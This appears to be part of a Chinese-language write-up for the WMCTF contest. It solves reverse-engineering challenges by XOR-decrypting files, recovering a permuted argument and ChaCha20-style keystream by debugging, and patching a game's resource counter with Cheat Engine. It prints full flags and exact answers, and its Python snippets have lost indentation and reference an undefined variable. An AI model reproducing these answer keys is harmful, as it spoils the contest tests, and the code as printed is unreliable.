round_key = [1995092961, 0xB8D86C63, 1556007940, 614303076, 0xFDBE8083, 0xAA004060, 1591704463, 469378920, 0x9229867C, 0xE07CF1AC, 0xF81E45B3, 1020344905, 1708482435, 424934441, 3076655192]
key = [0, 0, 0, 0]
for what in round_key:
global_key ^= what
bts = long_to_bytes(global_key)
print(bts[0])
key[3] = bts[0]
key[2] = bts[1]
key[1] = bts[2]
key[0] = bts[3]
index_table = [14, 12, 33, 36, 37, 25, 2, 40, 17, 47, 9, 26, 8, 19, 34]
index = 34
f = open(f"challs/chall{index}.bin", "rb")
byte = f.read()
res = b""
for i in range(len(byte)):
print(long_to_bytes(byte[i] ^ key[i&3]))
res += long_to_bytes(byte[i] ^ key[i&3])
otp = open(f"challs_solved/chall{index}.bin", "wb")
otp.write(res)

这样找到的 round 顺序最终为[14, 12, 33, 36, 37, 25, 2, 40, 17, 47, 9, 26, 8, 19, 34]

将round_key拼接得到flag。

wmctf{76eab3e1b8d86c635cbecc04249d8564fdbe8083aa0040605edf7b8f1bfa27689229867ce07cf1acf81e45b33cd13a4965d55f831953fc29b7620858}

seeeeee

  1. 先把jump out 处的 跳转的 data 转成 代码, 然后动静结合 大概分析出流程
  2. sub_B470 处理命令行参数,sub_7100 接受
  3. 要求两个命令行参数,第一个 len =24,第二个len=64
  4. 第一个参数 —- 看不出来 是什么算法,但通过动调发现,对输入只进行了位置的变化,然后与 内存中的值比较,

所以dump出值, 改一下 位置即可 得到输入为 h7BOJpTCYsuoAUQn6qFxXyVE

  1. 第二个参数 :接着 动调 ,发现k etyb-23 dnapxe字样

​ 考虑 chacha20加密 ,

​ sub7FF637CD7830() 生成 异或流

​ 然后 与 输入的63 字节值进行异或加密,最终比较

解法, 因为我们已经得到第一个命令行参数,直接动调得到 生成的 异或值 和最终比较的结果即可

1
2
3
4
5
6
7
xor= [0xD0, 0x6E, 0xF8, 0xF7, 0x84, 0xAD, 0xDD, 0x5E, 0x29, 0xE7, 0x82, 0x12, 0x20, 0x00, 0x5A, 0xA2, 0x50, 0x48, 0x0B, 0xE6, 0x64, 0x2D, 0x23, 0x7C, 0xD9, 0x2E, 0x1B, 0x6E, 0xDF, 0x34, 0xDE, 0xCA, 0x39, 0x70, 0x4C, 0x8B, 0x4F, 0x18, 0xAE, 0x4C, 0x35, 0x7E, 0x3E, 0xE4, 0x2B, 0x0B, 0xEA, 0xC5, 0xD8, 0xB2, 0xD6, 0x6D, 0x4E, 0x9C, 0x30, 0x77, 0x98, 0xC8, 0x19, 0x98, 0x5B, 0xB1, 0x36, 0xAB]

txt =[0x80, 0x1F, 0x94, 0xB4, 0xEF, 0xD4, 0x9C, 0x36, 0x47, 0x85, 0xE7, 0x26, 0x64, 0x4B, 0x29, 0x95, 0x1E, 0x0D, 0x39, 0xA9, 0x1E, 0x72, 0x7A, 0x1F, 0xB0, 0x48, 0x22, 0x1E, 0x8E, 0x40, 0xEB, 0xBF, 0x75, 0x17, 0x16, 0xD3, 0x39, 0x4F, 0xFD, 0x0A, 0x58, 0x39, 0x4C, 0x9C, 0x13, 0x41, 0x8B, 0x93, 0xB2, 0x84, 0xE7, 0x2F, 0x03, 0xD4, 0x62, 0x44, 0xFC, 0x9D, 0x76, 0xEF, 0x0F, 0xF8, 0x06]

for i in range(63):
print("%c" % chr(txt[i] ^ xor[i]),end='')
# 套一个 wmctf{}

GAME

pvz-game

可以和自己匹配

CE 修改器把阳光拉满,放僵尸时找到对阳光数操作的汇编,把僵尸消耗阳光的sub指令nop掉,加速500倍,用连点器(Python 实现)放置僵尸,2个小时多出flag